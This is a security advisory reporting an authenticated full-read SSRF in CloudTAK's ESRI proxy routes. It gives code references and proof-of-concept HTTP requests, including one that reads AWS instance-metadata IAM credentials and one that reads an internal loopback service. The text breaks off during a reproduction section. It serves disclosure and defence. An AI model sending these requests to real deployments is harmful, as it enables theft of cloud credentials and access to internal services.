CloudTAK: Authenticated full-read SSRF in the /api/esri* routes — user-controlled URL fetched with no IP-classification guard
漏洞描述
# Authenticated full-read SSRF in CloudTAK `/api/esri*` routes — user-controlled URL fetched with no IP-classification guard ## Summary Every route in the ESRI helper family (`api/routes/esri.ts`) takes a fully attacker-controlled URL from the request (`POST /api/esri` body `url`, and the `portal` / `server` / `layer` query parameters on the `GET /api/esri/*` routes) and passes it into `EsriBase` / `EsriProxyPortal` / `EsriProxyServer` / `EsriProxyLayer` in `api/lib/esri.ts`, which fetch it with the bare `fetch` from `@tak-ps/etl`. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges. Any authenticated user (the routes only require `Auth.is_auth(config, req, { anyResources: true })`, i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (`169.254.169.254`), loopback admin ports (`127.0.0.1:<port>`), and other hosts reachable only from inside the deployment VPC. This is a **full-read** SSRF, not blind: on success the upstream JSON body is returned to the caller via `res.json(...)`, and on failure the upstream error string is reflected verbatim as `ESRI Server Error: <message>`. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies. The `sniff()` URL classifier provides no protection: it only pattern-matches the *pathname* (`/rest`, `/arcgis/rest`, `/sharing/rest`), so a URL like `http://169.254.169.254/arcgis/rest` or `http://127.0.0.1:8500/rest` passes `sniff()` and is fetched. ## Affected versions * All versions up to and including **13.7.0** (latest at time of report). The project already ships an SSRF guard helper — `isSafeUrl` from `@tak-ps/node-safeurl` — and wires it into the basemap, task, and video-service code paths, but the entire `/api/esri*` route family and the ESRI fetch library (`api/lib/esri.ts`) were never wired up, leaving the guard absent on this surface. ## Vulnerable code All permalinks are pinned to commit `c7433679d2107fa0258e9005069bc5b4ca5773aa` (release lineage of 13.7.0). **Routes — user input → ESRI fetch, no guard** (`api/routes/esri.ts`): * `POST /api/esri` — body `url` → `new URL(req.body.url)` → `EsriBase.from(url)`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64 * `GET /api/esri/portal` — query `portal` → `new EsriBase(req.query.portal)` → `EsriProxyPortal.getPortal()`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98 * `GET /api/esri/portal/content` — query `portal` → `EsriProxyPortal.getContent()`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139 * `GET /api/esri/portal/server` — query `portal` → `EsriProxyPortal.getServers()`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212 * `GET /api/esri/server` — query `server` → `EsriProxyServer.getList()`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249 * `GET /api/esri/server/layer` — query `layer` → `EsriProxyLayer.sample()`: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356 **Library — the `fetch` sinks** (`api/lib/esri.ts`), all reached with the user URL and none preceded by a guard: * `import { fetch } from '@tak-ps/etl';` https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6 * `EsriBase.fetchVersion()` — `const res = await fetch(url);` https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187 * `EsriBase.generateToken()` — `fetch(url, { method: 'POST', ... })` https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107 * `EsriProxyPortal.getContent` / `getPortal` / `getSelf` / `getServers` / `createService` — `fetch` at lines 283, 301, 330, 347, 371 * `EsriProxyServer.deleteLayer` / `createLayer` / `getList` — `fetch` at lines 407, 433, 455 * `EsriProxyLayer.tilejson` / `#sampleFeatures` — `fetch` at lines 503, 552 **`sniff()` only inspects the pathname** (no host/IP check): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156 **The guard exists elsewhere but is missing here** — for comparison, the basemap import path classifies the URL before fetching: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90 Note also that the ESRI sub-branch inside `basemap.ts` (`isEsriLayerURL(...)` → `new EsriBase(...)` → `EsriProxyLayer.tilejson()`) reaches the same unguarded ESRI library and is therefore equally affected: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773 `grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts` returns `0` and `0`. ## Proof of concept Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account — the routes only call `Auth.is_auth(config, req, { anyResources: true })`). ### 1. Read cloud instance metadata (credential theft) ```http POST /api/esri HTTP/1.1 Host: cloudtak.example.org Authorization: Bearer <any-valid-user-token> Content-Type: application/json { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" } ``` The server's `EsriBase.from()` calls `fetchVersion()` → `fetch('http://169.254.169.254/...?f=json')`. The path contains `/rest`, so `sniff()` classifies it as `SERVER` and the request proceeds. The metadata service's response body is read back to the attacker — either inside the successful JSON response, or reflected in the error string (`ESRI Server Error: <upstream body fragment>`). On AWS IMDSv1 deployments this yields the instance-role temporary credentials. ### 2. Read an internal-only service over loopback / VPC (full-read) ```http GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1 Host: cloudtak.example.org Authorization: Bearer <any-valid-user-token> ``` `new EsriBase('http://127.0.0.1:8500/rest')` → `EsriProxyServer.getList()` → `fetch('http://127.0.0.1:8500/rest?f=json')`. The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via `res.json(list)`. `GET /api/esri/portal?portal=http://<internal-host>/sharing/rest` and `GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1` give the same full-read primitive on the other sub-routes. ### 3. Negative control — unauthenticated is rejected ```http POST /api/esri HTTP/1.1 Host: cloudtak.example.org Content-Type: application/json { "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" } ``` Returns `403 Authentication Required` (from `Auth.is_auth` → `api/lib/auth.ts:118`). The SSRF is reachable by any authenticated user but not by an anonymous one. ### E2E reproduction (sink path against a controlled internal victim) Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the **same `fetch` import (`@tak-ps/etl`) and the verbatim `EsriBase.sniff()` + `fetchVersion()` logic** the route uses. The harness models the route handler exactly: it `new URL()`s the user input, runs `sniff()`, then `fetch()`s — with `isSafeUrl` deliberately *not* called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard). Victim